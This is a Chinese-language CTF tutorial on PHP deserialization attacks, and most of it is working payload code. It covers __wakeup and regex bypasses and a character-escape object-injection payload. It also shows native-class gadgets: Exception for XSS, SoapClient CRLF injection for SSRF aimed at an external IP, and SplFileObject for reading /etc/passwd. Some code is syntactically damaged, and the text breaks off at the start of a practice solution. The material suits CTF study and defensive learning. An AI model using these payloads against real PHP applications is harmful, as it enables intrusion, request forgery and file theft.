一、反序列化介绍

将各类数据类型按照一定的规则转换为字符串,从而方便保存与传递

图片

PHP序列化:

只序列化对象属性,不序列号对象方法

对于不同访问控制修饰符的属性,输出也不同

共有属性:属性名

私有属性:%00类名%00属性名

保护属性:%00*%00属性名

php存在一些魔法方法,在特定场景会被自动调用:

例如:

__construct:在对象诞生时调用

__destruct : 在对象被销毁时调用

__toString : 对象被打印或者强行转为字符串时被调用

__wakeup : 对象被反序列化时被调用

__invoke : 调用函数的方式去调用一个对象的时候被调用

__call : 在对象中调用一个不可访问的方法时调用

二、CTF中常用绕过trick

2.1 绕过__wakeup

对象被序列化时首先调用__wakeup函数,这个函数可能会存在一些过滤

绕过方式:CVE-2016-7124

利用方式:序列化字符串中表示对象属性个数的值 大于 真实的属性个数时会跳过__wakeup的执行

使用情况:

php5<5.6.25

php7<7.0.10

例如

图片

2.2 绕过部分正则

一些题目利用正则检查序列化字符串是否是对象字符串开头(preg_match(‘/^O:\d+/‘))

绕过方式:

利用加号绕过:O:+4开头 (php7.2及以上测试无效)

利用数组:serialize(array(a ));

2.3 十六进制绕过

序列化字符串中过滤了一些字符串,可以使用十六进制绕过

例子:

原:

O:4:”test”:1:{s:1:”a”;s:4:”flag”;}

十六进制:

O:4:”test”:1:{s:1:”a”;S:4:” \66lag”;}

图片

2.4 反序列化字符逃逸

在反序列化之前对序列化字符串进行字符串替换操作,可能会造成替换后字符变多/变少,使得外部输入的对象属性逃逸出来,从而构造任意对象反序列化。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
class king{
    public $a;
    public function __construct($a){
        $this->a = $a;
    }
    public function __destruct(){
        if$this->a === 'flag'){
            echo system('cat /flag');
        }
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username$password){
        $this->username = $username;
        $this->password = $password;
    }
}
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0'$data);
    return $data;
}
$username $_GET['username'];
$password $_GET['password'];
$tmp new User($username,$password);
$data = read(write(serialize($tmp)));
if(strstr($data,"flag")){
    die('No!');
}
else{
    unserialize($data);
}

分析:
需要吃掉22个字符,那么username需要十一个\0*\0

构造password的值

payload:

1
2
3
4
5
6
$username = 'midi\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$payload = 's:8:"password";O:4:"king":1:{s:1:"a";S:4:"\66lag";}';
$password = ';'.$payload.'}';
echo urlencode($username);
echo "\n";
echo urlencode($password);

分析上面echo $data的值为

1
O:4:"User":2:{s:8:"username";s:59:"midi***********";s:8:"password";s:53:";s:8:"password";O:4:"king":1:{s:1:"a";S:4:"\66lag";}}";}

综合练习:

2020强网杯 强网先锋-辅助

三、PHP原生类利用

3.1利用Error/Exception类进行XSS

1
2
3
<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
?>

得到一个XSS的反序列化字符串,只要能够进行反序列化,并且可控,就可以造成xss漏洞
例如

1
2
3
<?php
echo unserialize($_GET['a']);
?>

图片

.

3.2利用soap类进行SSRF

https://bycsec.top/2020/03/18/%E4%BD%BF%E7%94%A8Soap%E7%9A%84ssrf-crlf%E6%94%BB%E5%87%BB/

php中的SoapClient类当调用不存在的方法时,就会出发__call方法,可以发起http请求

例如 2018N1CTF Easy&&Hard Php

payload1:

1
2
3
4
5
6
7
8
9
10
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'username=admin&password=admin';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'midi\r\nContent-Type: application/x-www-form-urlencoded\r\n'.join('\r\n',$headers).'\r\nContent-Length: '.(string)strlen($post_string).'\r\n\r\n'.$post_string,'uri' => "aaab"));
$b->a();
?>

payload2:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

3.3利用SplFileObject类读文件

php中内置的SplFileObject类可以用来读取文件(单个)(单行)

1
2
3
4
<?php
$a = new SplFileObject("flag.txt");
echo $a;
?>

图片

读取多行

1
2
3
4
5
6
<?php
$a = new SplFileObject("/etc/passwd");
foreach ($a as $b) {
echo $b;
}
?>

图片

3.4利用DirectoryIterator类列目录

1
2
3
4
5
6
7
<?php
$dir=new DirectoryIterator("glob://./*"); //当前目录下所有文件 ./*
foreach($dir as $f){
echo($f."\n");
}

?>

图片

或者

1
2
3
4
5
6
7
<?php
$dir=new DirectoryIterator("./");
foreach($dir as $f){
echo($f."\n");
}
// 但一般输出第一个都是 .
?>

图片

3.5利用FilesystemIterator类列目录

1
2
3
4
5
6
<?php
$dir = new FilesystemIterator("./");
foreach($dir as $f){
echo($f."\n");
}
?>

图片

3.6 练习

2021 XMan入营赛 easyphp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);
highlight_file(__FILE__);
class XMAN{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "Hel";
        $this->para = "xctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new Filter;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('what?Really?');
    }
}
class Hel{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("Hello bro, I guess you are a lazy ".$this->a);
    }
}
class Filter{
    function vaild($code){
        $pattern '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern$code)){
            return false;
        }
        else
            return true;
    }
}

if(isset($_GET['xctf'])){
    unserialize($_GET['xctf']);
}
else{
    $a=new XMAN;
} Hello bro, I guess you are a lazy xctfer

题解:

先利用FilesystemIterator列目录,因为过滤了*等什么的,不能使用Directorylterator